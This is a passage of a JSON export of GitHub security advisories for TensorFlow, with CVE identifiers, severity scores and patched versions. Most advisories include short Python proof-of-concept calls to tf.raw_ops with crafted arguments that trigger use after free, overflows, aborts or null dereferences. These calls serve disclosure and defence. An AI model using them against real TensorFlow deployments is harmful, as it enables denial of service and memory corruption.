2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2021-08-25T14:42:49.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-6p5r-g9mq-ggh2","https://nvd.nist.gov/vuln/detail/CVE-2021-37658","https://github.com/tensorflow/tensorflow/commit/ff8894044dfae5568ecbf2ed514c1a37dc394f1b","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-571.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-769.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-280.yaml","https://github.com/advisories/GHSA-6p5r-g9mq-ggh2"],"source_kind":"github","identifiers":["GHSA-6p5r-g9mq-ggh2","CVE-2021-37658"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":33.58776112468632,"packages":[{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:49.618Z","updated_at":"2024-11-13T20:52:54.000Z","epss_percentage":0.00014,"epss_percentile":0.01485},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLW03Zm0tNGpmaC1qcmc2","url":"https://github.com/advisories/GHSA-m7fm-4jfh-jrg6","title":"Use after free in boosted trees creation","description":"### Impact\nThe implementation for `tf.raw_ops.BoostedTreesCreateEnsemble` can result in a use after free error if an attacker supplies specially crafted arguments:\n\n```python\nimport tensorflow as tf\n\nv= tf.Variable([0.0])\ntf.raw_ops.BoostedTreesCreateEnsemble(\n  tree_ensemble_handle=v.handle,\n  stamp_token=[0],\n  tree_ensemble_serialized=['0']) \n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/f24faa153ad31a4b51578f8181d3aaab77a1ddeb/tensorflow/core/kernels/boosted_trees/resource_ops.cc#L55) uses a reference counted resource and decrements the refcount if the initialization fails, as it should. However, when the code was written, the  resource was represented as a naked pointer but later refactoring has changed it to be a smart pointer. Thus, when the pointer leaves the scope, a subsequent `free`-ing of the resource occurs, but this fails to take into account that the refcount has already reached 0, thus the resource has been already freed. During this double-free process, members of the resource object are accessed for cleanup but they are invalid as the entire resource has been freed.\n\n### Patches\nWe have patched the issue in GitHub commit [5ecec9c6fbdbc6be03295685190a45e7eee726ab](https://github.com/tensorflow/tensorflow/commit/5ecec9c6fbdbc6be03295685190a45e7eee726ab).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2021-08-25T14:43:07.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.5,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-m7fm-4jfh-jrg6","https://nvd.nist.gov/vuln/detail/CVE-2021-37652","https://github.com/tensorflow/tensorflow/commit/5ecec9c6fbdbc6be03295685190a45e7eee726ab","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-565.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-763.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-274.yaml","https://github.com/advisories/GHSA-m7fm-4jfh-jrg6"],"source_kind":"github","identifiers":["GHSA-m7fm-4jfh-jrg6","CVE-2021-37652"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":41.37622747243966,"packages":[{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:49.791Z","updated_at":"2024-11-13T17:27:04.000Z","epss_percentage":0.00039,"epss_percentile":0.11051},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTI3ajUtNHA5di1wcDY3","url":"https://github.com/advisories/GHSA-27j5-4p9v-pp67","title":"`std::abort` raised from `TensorListReserve`","description":"### Impact\nProviding a negative element to `num_elements` list argument of  `tf.raw_ops.TensorListReserve` causes the runtime to abort the process due to reallocating a `std::vector` to have a negative number of elements:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.TensorListReserve(\n  element_shape = tf.constant([1]),\n  num_elements=tf.constant([-1]),\n  element_dtype = tf.int32)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/kernels/list_kernels.cc#L312) calls `std::vector.resize()` with the new size controlled by input given by the user, without checking that this input is valid.\n\n### Patches\nWe have patched the issue in GitHub commit [8a6e874437670045e6c7dc6154c7412b4a2135e2](https://github.com/tensorflow/tensorflow/commit/8a6e874437670045e6c7dc6154c7412b4a2135e2).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information \nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2021-08-25T14:43:40.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.7,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-27j5-4p9v-pp67","https://nvd.nist.gov/vuln/detail/CVE-2021-37644","https://github.com/tensorflow/tensorflow/commit/8a6e874437670045e6c7dc6154c7412b4a2135e2","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-557.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-755.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-266.yaml","https://github.com/advisories/GHSA-27j5-4p9v-pp67"],"source_kind":"github","identifiers":["GHSA-27j5-4p9v-pp67","CVE-2021-37644"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":27.746411363871303,"packages":[{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:50.113Z","updated_at":"2024-11-13T16:13:08.000Z","epss_percentage":0.00012,"epss_percentile":0.01077},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTl3MnAtNW1ndy1wOTRj","url":"https://github.com/advisories/GHSA-9w2p-5mgw-p94c","title":"Integer overflow due to conversion to unsigned","description":"### Impact\nThe implementation of `tf.raw_ops.QuantizeAndDequantizeV4Grad` is vulnerable to an integer overflow issue caused by converting a signed integer value to an unsigned one and then allocating memory based on this value.\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.QuantizeAndDequantizeV4Grad(\n  gradients=[1.0,2.0],\n  input=[1.0,1.0],\n  input_min=[0.0],\n  input_max=[10.0],\n  axis=-100)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/kernels/quantize_and_dequantize_op.cc#L126) uses the `axis` value as the size argument to `absl::InlinedVector` constructor. But, the constructor uses an unsigned type for the argument, so the implicit conversion transforms the negative value to a large integer.\n\n### Patches\nWe have patched the issue in GitHub commit [96f364a1ca3009f98980021c4b32be5fdcca33a1](https://github.com/tensorflow/tensorflow/commit/96f364a1ca3009f98980021c4b32be5fdcca33a1).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, and TensorFlow 2.4.3, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2021-08-25T14:43:37.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.7,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-9w2p-5mgw-p94c","https://nvd.nist.gov/vuln/detail/CVE-2021-37645","https://github.com/tensorflow/tensorflow/commit/96f364a1ca3009f98980021c4b32be5fdcca33a1","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-558.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-756.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-267.yaml","https://github.com/advisories/GHSA-9w2p-5mgw-p94c"],"source_kind":"github","identifiers":["GHSA-9w2p-5mgw-p94c","CVE-2021-37645"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":27.746411363871303,"packages":[{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003c 2.4.3"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003c 2.4.3"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003c 2.4.3"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:49.967Z","updated_at":"2024-11-13T16:05:12.000Z","epss_percentage":0.00012,"epss_percentile":0.01077},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWZjd2MtcDRmYy1jNWNj","url":"https://github.com/advisories/GHSA-fcwc-p4fc-c5cc","title":"Null pointer dereference in `MatrixDiagPartOp`","description":"### Impact\nIf a user does not provide a valid padding value to `tf.raw_ops.MatrixDiagPartOp`, then the code triggers a null pointer dereference (if input is empty) or produces invalid behavior, ignoring all values after the first:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.MatrixDiagPartV2(\n  input=tf.ones(2,dtype=tf.int32),\n  k=tf.ones(2,dtype=tf.int32),\n  padding_value=[])\n```\n\nAlthough this example is given for `MatrixDiagPartV2`, all versions of the operation are affected.\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/kernels/linalg/matrix_diag_op.cc#L89) reads the first value from a tensor buffer without first checking that the tensor has values to read from.\n\n### Patches\nWe have patched the issue in GitHub commit [482da92095c4d48f8784b1f00dda4f81c28d2988](https://github.com/tensorflow/tensorflow/commit/482da92095c4d48f8784b1f00dda4f81c28d2988).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2021-08-25T14:43:42.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-fcwc-p4fc-c5cc","https://nvd.nist.gov/vuln/detail/CVE-2021-37643","https://github.com/tensorflow/tensorflow/commit/482da92095c4d48f8784b1f00dda4f81c28d2988","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-556.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-754.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-265.yaml","https://github.com/advisories/GHSA-fcwc-p4fc-c5cc"],"source_kind":"github","identifiers":["GHSA-fcwc-p4fc-c5cc","CVE-2021-37643"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":34.0745402714209,"packages":[{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:50.288Z","updated_at":"2024-11-13T16:21:08.000Z","epss_percentage":0.00012,"epss_percentile":0.01078},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXEyNjMtZnZ4bS1tNW13","url":"https://github.com/advisories/GHSA-q263-fvxm-m5mw","title":"Heap out of bounds access in MakeEdge in TensorFlow","description":"### Impact\nUnder certain cases, loading a saved model can result in accessing uninitialized memory while building the computation graph. The [`MakeEdge` function](https://github.com/tensorflow/tensorflow/blob/3616708cb866365301d8e67b43b32b46d94b08a0/tensorflow/core/common_runtime/graph_constructor.cc#L1426-L1438) creates an edge between one output tensor of the `src` node (given by `output_index`) and the input slot of the `dst` node (given by `input_index`). This is only possible if the types of the tensors on both sides coincide, so the function begins by obtaining the corresponding `DataType` values and comparing these for equality:\n\n```cc\n  DataType src_out = src-\u003eoutput_type(output_index);\n  DataType dst_in = dst-\u003einput_type(input_index);\n  //...\n```\n\nHowever, there is no check that the indices point to inside of the arrays they index into. Thus, this can result in accessing data out of bounds of the corresponding heap allocated arrays.\n\nIn most scenarios, this can manifest as unitialized data access, but if the index points far away from the boundaries of the arrays this can be used to leak addresses from the library.\n\n### Patches\nWe have patched the issue in GitHub commit [0cc38aaa4064fd9e79101994ce9872c6d91f816b](https://github.com/tensorflow/tensorflow/commit/0cc38aaa4064fd9e79101994ce9872c6d91f816b) and will release TensorFlow 2.4.0 containing the patch. TensorFlow nightly packages after this commit will also have the issue resolved.\n\nSince this issue also impacts TF versions before 2.4, we will patch all releases between 1.15 and 2.3 inclusive.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2020-12-10T19:07:34.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.8,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-q263-fvxm-m5mw","https://github.com/tensorflow/tensorflow/commit/0cc38aaa4064fd9e79101994ce9872c6d91f816b","https://nvd.nist.gov/vuln/detail/CVE-2020-26271","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2020-302.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2020-337.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2020-257.yaml","https://github.com/advisories/GHSA-q263-fvxm-m5mw"],"source_kind":"github","identifiers":["GHSA-q263-fvxm-m5mw","CVE-2020-26271"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":23.365399043260044,"packages":[{"versions":[{"first_patched_version":"2.3.2","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.2"},{"first_patched_version":"2.2.2","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.2"},{"first_patched_version":"2.1.3","vulnerable_version_range":"\u003e= 2.1.0, \u003c 2.1.3"},{"first_patched_version":"2.0.4","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.0.4"},{"first_patched_version":"1.15.5","vulnerable_version_range":"\u003c 1.15.5"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.3.2","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.2"},{"first_patched_version":"2.2.2","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.2"},{"first_patched_version":"2.1.3","vulnerable_version_range":"\u003e= 2.1.0, \u003c 2.1.3"},{"first_patched_version":"2.0.4","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.0.4"},{"first_patched_version":"1.15.5","vulnerable_version_range":"\u003c 1.15.5"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.3.2","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.2"},{"first_patched_version":"2.2.2","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.2"},{"first_patched_version":"2.1.3","vulnerable_version_range":"\u003e= 2.1.0, \u003c 2.1.3"},{"first_patched_version":"2.0.4","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.0.4"},{"first_patched_version":"1.15.5","vulnerable_version_range":"\u003c 1.15.5"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:12.587Z","updated_at":"2025-08-18T04:57:16.718Z","epss_percentage":0.00037,"epss_percentile":0.0944},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXZjamotOXZnNy12ZjY4","url":"https://github.com/advisories/GHSA-vcjj-9vg7-vf68","title":"Null pointer dereference in TFLite","description":"### Impact\nAn attacker can craft a TFLite model that would trigger a null pointer dereference, which would result in a crash and denial of service:\n\n```python\nimport tensorflow as tf\n\nmodel = tf.keras.models.Sequential()\nmodel.add(tf.keras.Input(shape=(1, 2, 3)))\nmodel.add(tf.keras.layers.Dense(0, activation='relu'))\n\nconverter = tf.lite.TFLiteConverter.from_keras_model(model)\ntflite_model = converter.convert()\n\ninterpreter = tf.lite.Interpreter(model_content=tflite_model)\ninterpreter.allocate_tensors()\n\ninterpreter.invoke()\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/internal/optimized/optimized_ops.h#L268-L285) unconditionally dereferences a pointer.\n\n```cc\n  if (y4 \u003e 1) {\n    // ...\n  } else {\n    for (int i0 = 0; i0 \u003c y0; ++i0) {\n      const T* input2_data_ptr = nullptr;\n      for (int i1 = 0; i1 \u003c y1; ++i1) {\n        input2_data_ptr = input2_data_reset;\n        for (int i2 = 0; i2 \u003c y2; ++i2) {\n          scalar_broadcast_f(y3, params, *input1_data_ptr, input2_data_ptr,\n                             output_data_ptr);\n        }\n      }\n    }\n  }\n```\n\n### Patches\nWe have patched the issue in GitHub commit [15691e456c7dc9bd6be203b09765b063bf4a380c](https://github.com/tensorflow/tensorflow/commit/15691e456c7dc9bd6be203b09765b063bf4a380c).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang of Baidu Security.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2021-08-25T14:39:54.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.5,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-vcjj-9vg7-vf68","https://nvd.nist.gov/vuln/detail/CVE-2021-37688","https://github.com/tensorflow/tensorflow/commit/15691e456c7dc9bd6be203b09765b063bf4a380c","https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/internal/optimized/optimized_ops.h#L268-L285","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-601.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-799.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-310.yaml","https://github.com/advisories/GHSA-vcjj-9vg7-vf68"],"source_kind":"github","identifiers":["GHSA-vcjj-9vg7-vf68","CVE-2021-37688"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":41.37622747243966,"packages":[{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:49.142Z","updated_at":"2024-11-13T21:22:20.000Z","epss_percentage":0.00013,"epss_percentile":0.01299},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTQyNzgtMnY1di02NXI0","url":"https://github.com/advisories/GHSA-4278-2v5v-65r4","title":"Heap buffer overflow in `RaggedBinCount`","description":"### Impact\nIf the `splits` argument of `RaggedBincount` does not specify a valid [`SparseTensor`](https://www.tensorflow.org/api_docs/python/tf/sparse/SparseTensor), then an attacker can trigger a heap buffer overflow:\n\n```python\nimport tensorflow as tf\ntf.raw_ops.RaggedBincount(splits=[0], values=[1,1,1,1,1], size=5, weights=[1,2,3,4], binary_output=False)\n```\n\nThis will cause a read from outside the bounds of the `splits` tensor buffer in the [implementation of the `RaggedBincount` op](https://github.com/tensorflow/tensorflow/blob/8b677d79167799f71c42fd3fa074476e0295413a/tensorflow/core/kernels/bincount_op.cc#L430-L433):\n\n```cc\n    for (int idx = 0; idx \u003c num_values; ++idx) {\n      while (idx \u003e= splits(batch_idx)) {\n        batch_idx++;\n      }\n      ...\n    }\n```\n\nBefore the `for` loop, `batch_idx` is set to 0. The user controls the `splits` array, making it contain only one element, 0. Thus, the code in the `while` loop would increment `batch_idx` and then try to read `splits(1)`, which is outside of bounds.\n\n### Patches\nWe have patched the issue in GitHub commit [eebb96c2830d48597d055d247c0e9aebaea94cd5](https://github.com/tensorflow/tensorflow/commit/eebb96c2830d48597d055d247c0e9aebaea94cd5).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2 and TensorFlow 2.3.3, as these are also affected.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:20:40.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":1.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-4278-2v5v-65r4","https://nvd.nist.gov/vuln/detail/CVE-2021-29512","https://github.com/tensorflow/tensorflow/commit/eebb96c2830d48597d055d247c0e9aebaea94cd5","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-440.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-638.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-149.yaml","https://github.com/advisories/GHSA-4278-2v5v-65r4"],"source_kind":"github","identifiers":["GHSA-4278-2v5v-65r4","CVE-2021-29512"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":4.8677914673458424,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:02.243Z","updated_at":"2024-10-30T21:27:56.000Z","epss_percentage":0.00018,"epss_percentile":0.03034},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWhyODQtZnF2cC00OG1t","url":"https://github.com/advisories/GHSA-hr84-fqvp-48mm","title":"Segfault in SparseCountSparseOutput","description":"### Impact\nSpecifying a negative dense 